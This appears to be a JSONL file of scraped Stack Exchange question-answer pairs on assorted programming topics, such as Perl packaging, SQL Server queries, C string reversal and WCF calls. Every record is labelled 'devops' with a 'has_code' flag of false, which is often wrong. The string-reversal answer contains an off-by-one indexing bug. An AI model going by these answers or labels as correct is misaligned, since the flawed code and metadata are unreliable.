{"id": "hf_a1d71c817396", "question": "<p>In ActivePerl, \"ppm\" installs a package from the Internet, \"ppm install x.ppd\" installs from a ppd file, but most CPAN packages are distributed as <em>.tar.gz</em></p>\n\n<p>How do you supply modules to a machine running ActivePerl that doesn't have an Internet connection?  (\"make\" will probably not be available.)</p>\n\n<p>Update: an Internet connection can be used to download files and transfer them to the machine with a USB key, etc.</p>\n", "question_body": "", "answer": "See:\nhttp://docs.activestate.com/activeperl/5.10/faq/ActivePerl-faq2.html#zip_files", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:29.775644"}
{"id": "hf_2d96722ed162", "question": "<p>When my application opens too many windows the taskbar groups them into one button. Each window has its own icon, but the grouping icon is the default \"unknown\"-kind icon.</p>\n\n<p>How can I set the grouping icon?</p>\n", "question_body": "", "answer": "The taskbar group icon can be set in the registry on a per application basis.\nFor explorer, this would be here:\n```\n```\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\Applications\\explorer.exe]\n\"TaskbarGroupIcon\"=\"C:\\Windows\\Explorer.exe,13\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:29.823642"}
{"id": "hf_336c7d21aadc", "question": "<p>Obviously I could create a <code>Calendar</code> object with the date and use <code>get(DAY)</code> on it, but knowing Groovy, I would guess there is an easier, quicker way I just don't know about?</p>\n\n<p><strong>Answer</strong></p>\n\n<pre><code>(date1..date2).size() == 1 // true if two dates are on same calendar day\n</code></pre>\n", "question_body": "", "answer": "Quickly opened the Groovy In Action book and found the following sample that should help:\n```\n```\ndef today = new Date()\ndef yesterday = today-1\nassert (yesterday..today).size() == 2\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:29.847415"}
{"id": "hf_78a703783ea6", "question": "<p>I have been reading carefully through the mediawiki documentation but I have not been able to find out how to create new groups. </p>\n\n<p>When I look at Special:Userrights, I see only 3 groups : \nBots, Sysops, Bureaycrats</p>\n\n<p>I would like to create my own custom groups, so I can use some extensions like the <a href=\"http://www.mediawiki.org/wiki/Extension:Group_Based_Access_Control\" rel=\"noreferrer\">http://www.mediawiki.org/wiki/Extension:Group_Based_Access_Control</a>.</p>\n\n<p>Can someone tell me how it's done, or point me to some documentation?</p>\n", "question_body": "", "answer": "I beleive I have found the answer, I just need to add the UserGroup and the permission to the wgGroupPermissions array in the LocalSettings.php file.\n```\n```\n$wgGroupPermissions['TomatoUsers']['read']  = true;\n$wgGroupPermissions['TomatoUsers']['edit']  = false;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:29.895015"}
{"id": "hf_b227d439013a", "question": "<p>I need to run a Linux CLI command and get its stdout output from C.</p>\n\n<p>I can use pipe() to create a pipe, then fork/exec, redirecting child's stdout descriptor into the pipe before calling exec(), and reading from the pipe in parent. Plus I'll need to wait on the child.</p>\n\n<p>Is there a simple call to do fork + redirect + exec + wait, like system() does fork + exec + wait, only system() doesn't do the redirect.</p>\n\n<p>There's popen(), which does fork + redirect + exec, but doesn't do wait, so I can't get exit status.</p>\n", "question_body": "", "answer": "Use\n```\npopen()\n```\nand\n```\npclose()\n```\n.\n```\npopen()\n```\ndoes not actually wait, of course, but reads on the pipe will block until there is data available.\n```\npclose()\n```\nwaits, but calling it prematurely could cut off some output from the forked process. You'll want to determine from the stream when the child is done...\nPossibly already discussed at\nHow can I run an external program from C and parse its output?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:29.918762"}
{"id": "hf_0c63698aff95", "question": "<p>We've got a fairly large amount of code that just made the jump to Java 5. We've been using generics in those components targeted at being released in the Java 5 version, but the remaining code is, of course, full of raw types. I've set the compiler to generate an error for raw types and started manually clearing them, but at the present rate it'll take a <em>very</em> long time to go through with it (there are about <em>2500</em> errors). And that's with Eclipse's helpful Infer Generic Type quick fix, which always gets rid of the errors, but often generates code that needs further work.</p>\n\n<p>Is there any better way to dealing with this? Are there any automated tools better than Eclipse? Any way to apply the refactoring to <em>all</em> occurences instead of doing them one-by-one? Or do you just ignore the warnings?</p>\n", "question_body": "", "answer": "I would suggest ignoring the warnings.  Otherwise, you'll be putting a lot of time into updating the legacy code without making any improvements to its functionality.\nUpdate:\nGreat comment from\nLuke\nthat I thought should get more visibility:\n\"Generics are a way to catch run time bugs at compile time. Unless this legacy code has bugs in it that you think are related to casting I would leave it alone (if it ain't broke, don't fix it)\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:29.989238"}
{"id": "hf_1af5c012c427", "question": "<p>I installed Python 2.6 for one user on Windows Vista.  Python works okay, but when I try: <code>import Tkinter</code>, it says the side-by-side configuration has errors.  I've tried tinkering with the Visual Studio runtime, with no good results.  Any ideas on how to resolve this?</p>\n", "question_body": "", "answer": "Maybe you should downgrade to 2.5 version?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:30.040127"}
{"id": "hf_e9f86090a27c", "question": "<p>Is it possible to to change a <code>&lt;span&gt;</code> tag (or <code>&lt;div&gt;</code>) to preformat its contents like a <code>&lt;pre&gt;</code> tag would using only CSS?</p>\n", "question_body": "", "answer": "Look at the\nW3C CSS2.1 Default Style Sheet\nor the\nCSS2.2 Working Draft\n. Copy all the settings for PRE and put them into your own class.\n```\n```\npre {\n    display: block;\n    unicode-bidi: embed;\n    font-family: monospace;\n    white-space: pre;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:30.074613"}
{"id": "hf_72378c28e39a", "question": "<pre><code>function Submit_click()\n{\n  if (!bValidateFields())\n    return;\n}\n\nfunction bValidateFields() {\n/// &lt;summary&gt;Validation rules&lt;/summary&gt;\n/// &lt;returns&gt;Boolean&lt;/returns&gt;\n...\n}\n</code></pre>\n\n<p>So, when I type the call to my bValidateFields() function intellisence in Visual Studio doesn't show my comments. But according to <a href=\"http://weblogs.asp.net/scottgu/archive/2007/06/21/vs-2008-javascript-intellisense.aspx\" rel=\"nofollow noreferrer\">this</a> it should. Should it?</p>\n", "question_body": "", "answer": "Did you try adding the\n```\n/// <reference>\n```\ncomment at the top of the external library?  I've run into this in the past and it resolved my issue.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:30.121089"}
{"id": "hf_6f1dd43fc65c", "question": "<p>I'm looking for a way to transform a genuine string into it's hexadecimal value in SQL. I'm looking something that is Informix-friendly but I would obviously prefer something database-neutral </p>\n\n<p>Here is the select I am using now:</p>\n\n<pre><code>SELECT SomeStringColumn from SomeTable\n</code></pre>\n\n<p>Here is the select I would like to use: \n    SELECT hex( SomeStringColumn ) from SomeTable</p>\n\n<p>Unfortunately nothing is that simple... Informix gives me that message: \n<em>Character to numeric conversion error</em></p>\n\n<p>Any idea?</p>\n", "question_body": "", "answer": "Can you use Cast and the fn_varbintohexstr?\n```\n```\nSELECT master.dbo.fn_varbintohexstr(CAST(SomeStringColumn AS varbinary)) \nFROM SomeTable\n```\n```\nI'm not sure if you have that function in your database system, it is in MS-SQL.\nI just tried it in my SQL server MMC on one of my tables:\n```\n```\nSELECT     master.dbo.fn_varbintohexstr(CAST(Addr1 AS VARBINARY)) AS Expr1\nFROM         Customer\n```\n```\nThis worked as expected. possibly what I know as master.dbo.fn_varbintohexstr on MS-SQL, might be similar to informix hex() function, so possibly try:\n```\n```\nSELECT     hex(CAST(Addr1 AS VARBINARY)) AS Expr1\nFROM         Customer\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:30.144432"}
{"id": "hf_40e721cb4b1b", "question": "<p>Nowadays, we have tons of Javascript libraries per page in addition to the Javascript files  we write ourselves.  How do you manage them all?  How do you minify them in an organized way?  </p>\n", "question_body": "", "answer": "First of all,\nYUI Compressor\n.\nKeeping them organized is up to you, but most groups that I've seen have just\ncome up with a convention\nthat makes sense for their application.\nIt's generally optimal to\npackage up your files\nin such a way that you have a small handful of packages which can be included on any given page for optimal caching.\nYou also might consider dividing your javascript up into segments that are\neasy to share\nacross the team.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:30.192131"}
{"id": "hf_f4b164c2ae5d", "question": "<p>We have a small 3 developer team that is currently using Subversion for our source control. We expect the team to group to 8 members within the next 6 to 12 months. We are considering changing our source control to either TFS or Mercurial for improved branching. I know TFS is overkill for just branching, but that is the immediate need, and the other features of TFS could aid our team. One of our main concerns with TFS is we've heard that there is a lot of overhead deploying it, especially on a small team. I'm hoping to get some community insight into just how much overhead there may be involved, suggestions to make the process easier, and anything else the community may feel is useful in making the decision to implement.</p>\n", "question_body": "", "answer": "It's been awhile, but I'm thinking that it takes about a half-day to get setup, plus some time reading the manuals beforehand to make sure you know what you're doing.  Configuration doesn't take too long -- you need to add all of your developers in as licensed users.  Setting up projects is not too hard.  I usually set up AD groups to map on the project roles and add those groups to the appropriate roles.  I set up a new project in about 1/2 hour.\nNote: I don't use any of the features of TFS except source control.  If you plan to item tracking, use the project sharepoint site, etc., your mileage will vary quite a bit.  I've found that on our projects (2-3 developers) a wiki works just as well for project management.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:30.216255"}
{"id": "hf_fe4a906fd6d7", "question": "<p>I want to display some WPF elements near to the selected item of a ListView. How can I obtain the coordinates (screen or relative) of the selected ListViewItem? </p>\n\n<pre><code>&lt;ListView \n    x:Name=\"TechSchoolListView\"\n    ClipToBounds=\"False\"\n    Width=\"Auto\" Height=\"Auto\" \n    HorizontalContentAlignment=\"Stretch\" \n    VerticalContentAlignment=\"Top\" \n    ItemTemplate=\"{DynamicResource TechSchoolDataTemplate}\" \n    ItemsSource=\"{Binding Path=TechSchoolResearchList, Mode=Default}\" \n    SelectedIndex=\"1\"\n    SelectedValue=\"{Binding Path=SelectedTechSchool, Mode=Default}\" \n    SelectionChanged=\"TechSchoolList_SelectionChanged\" \n    ItemContainerStyle=\"{DynamicResource TechSchoolItemContainerStyle}\" \n    ScrollViewer.CanContentScroll=\"False\" \n    ScrollViewer.VerticalScrollBarVisibility=\"Disabled\" &gt;\n    &lt;ListView.Background&gt;\n        &lt;SolidColorBrush Color=\"{DynamicResource PanelBackgroundColor}\"/&gt;\n    &lt;/ListView.Background&gt;\n&lt;/ListView&gt;\n</code></pre>\n", "question_body": "", "answer": "You should use\nContainerFromElement\nto get the item's container, which is a visual and from there you can get the coordinates. You can't express this in XAML, however. You need to do it in code, on one of the ListView events, raised when the selected item is changed. Btw, keep in mind that the item can be its own container.\nYou can't do this in XAML, as there's no attached property on the item that shows the item is selected. (though I haven't played with WPF in a while, so that might have changed)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:30.347585"}
{"id": "hf_b5b7e499e6be", "question": "<p>I'm writing a mobile content adaptation plugin for a bespoke CMS in PHP. The CMS contains <code>&lt;img/&gt;</code> links to images with absolute URLs which are all 400 pixels wide and vary in height.</p>\n\n<p>I'd like to parse the HTML (which is stored in MySQL) and re-scale each image to a new width - this will vary according to the device. I'd also like to cache the images to prevent needlessly resizing them on-the-fly every time the page is loaded</p>\n\n<p>What's the best way for me to achieve this in PHP using either ImageMagick or GD? </p>\n", "question_body": "", "answer": "what about doing something a bit different. basically off load the caching/resizing to an on demand model. so say your application is being run on device A, which requires 200x200 images. you'd change the image links to:\n```\n```\n<img src=\"/images/image.php?height=200&width=200&source=filename.jpg\" />\n```\n```\nimage.php could be a script which does the following:\nmake sure the existing file exists, and grab it from cache if it exists at this size\nif not, resize the image and cache it\nthe next time your app looks for that image, it would be sent back at the 200px size. alternatively, if the app is now looking for a 300x300 image, that would be built/cached on the new request.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:30.436196"}
{"id": "hf_72475437867f", "question": "<p>I'm currently maintaining a CVS repository for source control.  There is a push afoot to move to StarTeam.  It has already been purchased and is a corporate standard for most projects.  I was told by the corporate owners of the StarTeam servers that there is no known way to do a complete migration of our current CVS repository to StarTeam.  We have been advised to do a checkout of the latest version and import that into StarTeam.</p>\n\n<p>I would really prefer to keep all of my version history and not have to choose between simply losing all of the data or maintaining my CVS repository indefinitely.</p>\n\n<p>Has anybody had any luck doing this?  Any recommended tools or processes?  Or am I just wasting my time and I should just migrate and cut my losses?</p>\n\n<p>UPDATE: The official response from Borland is that this is definitely doable, but not with the boxed software.  I can purchase services from Borland to help me accomplish this.</p>\n", "question_body": "", "answer": "I wonder why a \"professional\" tool does not provide any means to import from well known legacy systems...\nAlthough it may sound queer at first, i would recommend converting the cvs repos to subversion ( using e.g.\ncvs2svn\n, offered by tigris.org ), and then creating your own script to update from the subversion repos and commit into the starteam repository, provided it does offer an api or an command line client.\nThe advantage is that subversion supports nicely things like omitting branches or directories, and offer access via an api, which cvs does not.\nAlso, the documentation on subversion is quite extensive. (\nexample\non using the subversion api from python\nGood luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:30.460515"}
{"id": "hf_68b500de85cb", "question": "<p>I've developed an application (C#) that currently sits on a a number of workstations.  Each workstation accesses the same database (MS-SQL).  I've been asked to port this to Citrix.  Can anyone offer insight into documentation or suggestion of where someone would start with this?  Is the application installed on the Citrix server and then simply made available to users or do I need to do further development to make it ready for this type of deployment?</p>\n\n<p>Can anyone offer insight into Citrix application development?</p>\n", "question_body": "", "answer": "For fairly straight forward app things just run.\nDoes you app need use localization configuration?  i.e. time / date or currency formatting?  There are Citrix settings that can do many things in this area.  The users computer settings can be \"projected\" into Citrix or they could be overridden in Citrix.\nAlso do you use the machine name for anything?  That will be the server name and not the users local machine name.\nYou can get a bit of a simulation in a Windows Server environment by getting a couple of remote desktop sessions running your app.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:30.509104"}
{"id": "hf_6e9e75f652d4", "question": "<p>Working through some programming interview challenges I found online, I had to write an algorithm to reverse a const char * and return a pointer to a new char *. I think I have it, but to make it work properly I had to do some wonky stuff - basically having to account for the null-terminating character myself. Somehow I feel this is wrong, but I'm stumped, and I was wondering if someone could help me out:</p>\n\n<pre><code>char * reverse(const char * str)\n{\n  int length = strlen(str);\n  char * reversed_string = new char[length+1];\n\n  for(int i = 0; i &lt; length; ++i)\n  {\n    reversed_string[i] = str[(length-1) - i];\n  }\n  //need to null terminate the string\n  reversed_string[length] = '\\0';\n\n  return reversed_string;\n\n}\n\nint main(int argc, char * argv[])\n{\n\n  char * rev_str = reverse(\"Testing\");\n\n  cout &lt;&lt; \"Your string reversed is this: \" &lt;&lt; rev_str &lt;&lt; endl;\n\n  delete rev_str;\n  rev_str = 0;\n\n  return 0;\n}\n</code></pre>\n", "question_body": "", "answer": "I had this question once. That's the first answer that comes to mind, but the follow-up is, \"now do it without allocating any memory.\"\n```\n```\nint length = strlen(string);\nfor(int i = 0; i < length/2; i++) {\n  char c = string[i];\n  string[i] = string[length - i];\n  string[length - i] = c;\n}\n```\n```\nEDIT: Some folks have expressed disdain for not using pointers. This is a tiny bit more readable, though not completely optimal. Others have entered the pointer solution, so I won't repeat it here.\nOne commenter challenged that it should be doable without a (stack based) holding cell for the swap. The mechanism for doing that is bitwise XOR. Replace the inside of the loop with\n```\n```\nstring[i] = string[i] ^ string[length - i];\nstring[length - i] = string[i] ^ string[length - i];\nstring[i] = string[i] ^ string[length - i];\n```\n```\nBut in general, modern compilers can optimize out the local variable of a naive swap. For details,\nSee Wikipedia", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:30.548500"}
{"id": "hf_8902149b1049", "question": "<p>What query can return the names of all the stored procedures in a SQL Server database</p>\n\n<p>If the query could exclude system stored procedures, that would be even more helpful.</p>\n", "question_body": "", "answer": "```\n```\nselect *  \n  from dbo.sysobjects\n where xtype = 'P'\n   and status > 0\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:30.608635"}
{"id": "hf_4a810ba33320", "question": "<p>I have two methods that I need to call in my WCF application from the client.</p>\n\n<p>Authenticate(username, password)\nGetUser(username)</p>\n\n<p>Is it possible to combine these calls to avoid so many calls being sent back/forth?</p>\n", "question_body": "", "answer": "There are a few ways to handle this type of thing. First, you can use WCF sessions to initiate a group of commands that need to maintain some context between calls:\nhttp://msdn.microsoft.com/en-us/library/ms733136.aspx\nSecondly, you can take advantage of WCF's support for WS-Security standards to avoid the need to pass credentials as a second call:\nhttp://msdn.microsoft.com/en-us/library/aa702565.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:30.632055"}
{"id": "hf_753235e39164", "question": "<p>I'm working with a client that needs to generate millions of the alphanumeric codes used in magazine scratch-off cards, bottlecap prizes, and so on. They have to be short enough to print on a cap, they want to make sure that ambiguous characters like 1 and I, 0 and O, etc. are not included, and they have to be explicitly stored for future use -- we can't just have an algorithm that determines 'validity' when someone tries to redeem one. Finally, they want to make sure that the codes are randomly distributed inside of a large \"code space\" so that people can't just guess additional codes by walking through the alphabet.</p>\n\n<p>Are there any pointers towards reasonably efficient algorithms for generating these kinds of code sets? I've scratched a few out on the back of an envelope, but this problem smells like a trap for the unwary.</p>\n", "question_body": "", "answer": "Let's suppose you can use a character set of, say, 40 symbols of unambiguous upper,lower and numeric characters.\nFor a sequence of n chars, you've got 40\nn\ncombinations\n40\n4\n= 2,560,000\n40\n5\n= 102,400,000\n40\n6\n= 4,096,000,000\n40\n7\n= 163,840,000,000\n40\n8\n= 6,553,600,000,000\nThus 8 chars gives a pretty good space to work in - if you generated 10 million codes, you'd have to try hundreds of thousands of combinations to brute force a code.\nOr you come at from the other direction - give the number of\npossible\ncodes, how many codes\nshould\nyou generate to avoid the trap they call the\nBirthday Paradox\n?\nTaking the 8 char code, 6,553,600,000,000 is approx 2\n42\n, thus you might reasonably generate 2\n21\ncodes from it, or 2,097,152", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:30.679047"}
{"id": "hf_8a196aecaf69", "question": "<p>What I'm looking for is a basic equivalent of JavaScript's <code>Array::join()</code> whereby you pass in a separator character and uses that in its return string of all the subscripts.  I could certainly write my own function using a <code>StringBuilder</code> or whatnot, but there <em>must</em> be something built into the .NET BCL.</p>\n\n<p>EDIT: Array of <em>anything</em>, not necessarily <code>string</code> or <code>char</code>.  I'd prefer the method to simply call <code>ToString()</code> on each subscript <code>object</code>.  <code>String.Join()</code> is great except that you pass it an array of strings.</p>\n", "question_body": "", "answer": "If the array contains strings, you can just use\n```\nString.Join()\n```\n.  If the array does not contain strings, you'll need something a little more complicated so you can handle the cast or conversion process for each item it contains.\nUpdate:\nUsing @JaredPar's code as the basis for a more generic example:\n```\n```\nchar sep = GetSeparatorChar();\nobject[] toJoin = GetToJoin();\nstring joined = toJoin.Aggregate((x,y) => x.ToString()+sep.ToString()+y.ToString());\n```\n```\nObviously you could do anything you wanted to x and y in that example to get the string to look how you wanted.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:30.744732"}
{"id": "hf_9b4d32d4195d", "question": "<p>I remember working on a project with a group of developers and they always wanted static\n html text to be inside of an out tag (<code>&lt;c:out value=\"words\" /&gt;</code>). I don't remember why\n this was the case.</p>\n\n<p>Is this really a best practice when building jsp pages?  What are the \nadvantages/disadvantages of such an approach?</p>\n", "question_body": "", "answer": "If you're just printing out plain text it's better to do it in HTML.  The advantage of the\n```\nc:out\n```\ntag is that you can evaluate expressions inside the tag.\n```\n```\n<c:out value=\"Hello ${user.firstName} ${user.lastName}\"/>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:30.768731"}
{"id": "hf_454806ef1d2e", "question": "<p>I have a site I'm working on that has an event page.  The owner wants to be able to edit the event page weekly.  Would it be easier to teach the site owner how to edit this one page and upload it or use a CMS just for this one page??</p>\n\n<p>Apart from a contact form that posts to an email addy, the rest of the site is static.  Therefore I'd need to add in a db to store the username and password for CMS login.</p>\n\n<p>If CMS then which one would be most suitable for this case?</p>\n", "question_body": "", "answer": "It depends on the complexity of the page. If it's a fixed structure where the client won't want to add links of photos you may want to give them the ability to edit a simple data file (not the page itself). Then read in the data file. I like to use a simple JSON format for this type of thing.\nAt least with a data file you can revert to an older version or handle the error gracefully, rather than having the client break the whole page.\nIf you want to go the CMS route,\nDrupal\nhas a very well-established comunity with plenty of add-ons.\nIf you're more into roll-your-own programming, you can also look at the\nGoogle Calendar API\n,", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:30.864089"}
{"id": "hf_d94467d06fde", "question": "<p>I need to store a url in a MySQL table. What's the best practice for defining a field that will hold a URL with an undetermined length?</p>\n", "question_body": "", "answer": "```\nVARCHAR(512)\n```\n(or similar) should be sufficient.  However, since you don't really know the maximum length of the URLs in question, I might just go direct to\n```\nTEXT\n```\n.  The danger with this is of course loss of efficiency due to\n```\nCLOB\n```\ns being far slower than a simple string datatype like\n```\nVARCHAR\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:30.886942"}
{"id": "hf_dc26da9af350", "question": "<p>I was asked for a comprehensive breakdown on space used within a specific database. \nI know I can use <em>sys.dm_db_partition_stats</em> in SQL Server 2005 to figure out how much space each <em>table</em> in a database is using, but is there any way to determine the individual and total size of the <em>stored procedures</em> in a database? (Short of opening each one and counting the characters, of course.)</p>\n\n<p>Total space used by stored procs is not likely to be significant (compared to actual <em>data</em>), but with hundreds of them, it could add up.</p>\n", "question_body": "", "answer": "A slightly better way than counting the characters, is to use information schema.routines.  You could sum the length of each Routine Definition as (Note each routine definition will max out at 4,000 characters, see below for a method that doesn't have this restriction):\n```\nselect Sum(Len(Routine_Definition)) from information_schema.routines \nwhere routine_type = 'PROCEDURE'\n```\nOr you could return the length of each sp\n```\nselect Len(Routine_Definition), * from information_schema.routines \nwhere routine_type = 'PROCEDURE'\n```\nIt's unlikely that the length of your stored procedures is the problem.  Usually running out of space with a database is due to things like not backing up the log file (and then shrinking it using dbcc shrinkfile or dbcc shrinkdatabase).\nIn Sql 2000, here is a routine that would provide the length without the 4000 character limit of above:\n```\nDECLARE @Name VarChar(250)\nDECLARE RoutineCursor CURSOR FOR\n   select Routine_Name from information_schema.routines where routine_type = 'PROCEDURE'\n\nDECLARE @Results TABLE\n   (   SpName   VarChar(250),\n       SpLength   Int\n   )\n\nCREATE TABLE ##SpText\n   (   SpText   VarChar(8000)   )\n\nOPEN RoutineCursor\nFETCH NEXT FROM RoutineCursor INTO @Name\n\nWHILE @@FETCH_STATUS = 0\n   BEGIN\n      INSERT INTO ##SpText   (SpText)   EXEC sp_helptext @Name\n\n      INSERT INTO @Results (SpName, SpLength) (SELECT @Name, Sum(Len(SpText)) FROM ##SpText)\n      TRUNCATE TABLE ##SpText\n\n      FETCH NEXT FROM RoutineCursor INTO @Name\n   END\n\nCLOSE RoutineCursor\nDEALLOCATE RoutineCursor\nDROP TABLE ##SpText\n\nSELECT SpName, SpLength FROM @Results ORDER BY SpLength DESC\nSELECT Sum(SpLength) FROM @Results\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:30.909909"}
{"id": "hf_705ef7bcfcb4", "question": "<p>I'm looking to add a tooltip to each row in a bound datagrid in vb.net winforms.  How can this be done?</p>\n", "question_body": "", "answer": "I haven't tried this myself but I would give it a shot:\n```\n```\nSystem.Windows.Forms.ToolTip formToolTip = new System.Windows.Forms.ToolTip();\nformToolTip .SetToolTip(item, \"Row Tooltip\");\n```\n```\nWhere\n```\nitem\n```\ncorresponds to the cell you're setting the tool tip for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:30.958729"}
{"id": "hf_08b99bbac9f9", "question": "<p>What is the best way to localize a collection (IEnumerable)?\nFrom the BL I retrieve a collection of entities which still need to localized, I figured I write a method which extends the IEnumerable and returns the localized list. </p>\n\n<p>How can i get the code underneath working? Any ideas? Maybe better options?    </p>\n\n<pre><code>public static IEnumerable Localize(this IEnumerable items, CultureInfo cultureInfo)\n{\n    foreach(string item in items)\n    {\n        /*Error underneath, cannot assign to item*/\n        item = ResourceHelper.GetString(item, cultureInfo);\n    }\n    return (items);\n}\n</code></pre>\n", "question_body": "", "answer": "have you tried something where you\nyield\nthe item?\n```\n```\npublic static IEnumerable<string> Localize(this IEnumerable<string> items, CultureInfo culture)\n{\n    foreach (string item in items)\n    {\n        yield return ResourceHelper.GetString(item,culture);\n    }\n}\n```\n```\nthis won't change any other the items in the collection you are enumerating over, but it will return what you want it to.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:30.994193"}
